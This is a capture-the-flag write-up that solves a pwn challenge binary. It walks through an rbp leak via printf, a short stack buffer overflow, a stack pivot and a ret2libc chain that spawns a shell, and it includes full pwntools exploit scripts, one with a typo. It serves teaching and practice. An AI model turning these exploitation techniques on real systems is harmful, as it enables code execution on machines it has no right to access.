# [EN] LoTuX Fundraising Platform 1 ###### tags: `Writeup` `Pwn` `English` > [name=Curious] ## Train Of Thought & Solution After downloading, you can found that there is only one binary file `chal`, so took it to IDA. After organizing the decompiled code ![](https://hackmd.io/_uploads/Sk_oVTzD2.png) ![](https://hackmd.io/_uploads/HJIMSpzv3.png) An analysis of `register_donation` reveals that the position of `buf` is at `$rbp - 0x10`. It reads 0x10 bytes into `buf` and then prints it using `printf("... %s", buf)`. Therefore, by filling `buf` with 0x10 bytes, when `printf` is called, it will also print the address of `main`'s rbp. ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') r.interactive() ``` Further analysis of `main` reveals a clear BOF in the line `read(0, buf, 0x40)`. Additionally, since this challenge does not have PIE, you can utilize the ROP technique using the ROP gadgets provided within the `chal` binary itself. Next, let's take a look at what ROP gadgets are available in `chal` ![](https://hackmd.io/_uploads/HJs5opfw3.png) Since the length of the BOF is only 0x20, it is not possible to write the entire ROP chain at once. Therefore, it is necessary to make modifications to the stack by writing to it. Additionally, since we already know the address of rbp, we can use the `pop rsp` gadget to change the top address of the stack, allowing us to extend the length of the ROP chain. Let's start by constructing the current ROP chain. ``` | ??? ; buf | ??? | ??? | ??? | ??? ; rbp | 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | buf - 0x18. ; subtracting 0x18 is done to accommodate the pop instructions for r13, r14, and r15, so that they can directly receive the contents of the buf ``` To achieve the goal of obtaining a shell in this challenge, you will need to use functions from libc. Therefore, you need to leak the base address of libc. ``` | 0x401353 ; (buf) pop rdi ; ret | printf_got | puts_plt | ??? | ??? ; rbp | 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | buf - 0x18 ; subtracting 0x18 is done to accommodate the pop instructions for r13, r14, and r15, so that they can directly receive the contents of the buf ``` By leaking the address of `printf` in the `printf_got`, you can calculate the base address of libc. ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d puts_plt = 0x401080 printf_got = 0x404020 gdb.attach(r) r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, b'aaaaaaaa', b'aaaaaaaa', pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') r.interactive() ``` Now look at the assembly of `main` ![](https://hackmd.io/_uploads/SkIvGAfwh.png) Indeed, we can observe that by controlling the address of rbp, we can utilize the instructions starting from `main + 51` to read a new ROP chain into the program ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./chal') r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d read_instruction = 0x4012c8 puts_plt = 0x401080 printf_got = 0x404020 gdb.attach(r) r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, read_instruction, rbp + 0x20p, pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') r.interactive() ``` Following the same approach as before, you can modify rsp using the appropriate ROP gadget and execute the necessary instructions to obtain a shell. Solve Script : ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('lotuxctf.com', 10003) r.sendafter(b'> ', b'a' * 16) r.sendlineafter(b'> ', b'1234') r.recvuntil(b'a' * 16) rbp = u64(r.recv(6).ljust(8, b'\x00')) info(f'rbp : {hex(rbp)}') pop_rdi_ret = 0x401353 pop_rsp_r13_r14_r15_ret = 0x40134d read_instruction = 0x4012c8 puts_plt = 0x401080 printf_got = 0x404020 r.sendlineafter(b'? ', flat( pop_rdi_ret, printf_got, puts_plt, read_instruction, rbp + 0x20, pop_rsp_r13_r14_r15_ret, rbp - 0x38 )) libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90 info(f'libc : {hex(libc)}') binsh = libc + 0x00000000001b45bd system_addr = libc + 0x000000000052290 r.sendline(flat( pop_rdi_ret, binsh, system_addr, b'aaaaaaaa', rbp + 0x20, pop_rsp_r13_r14_r15_ret, rbp - 0x18 )) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}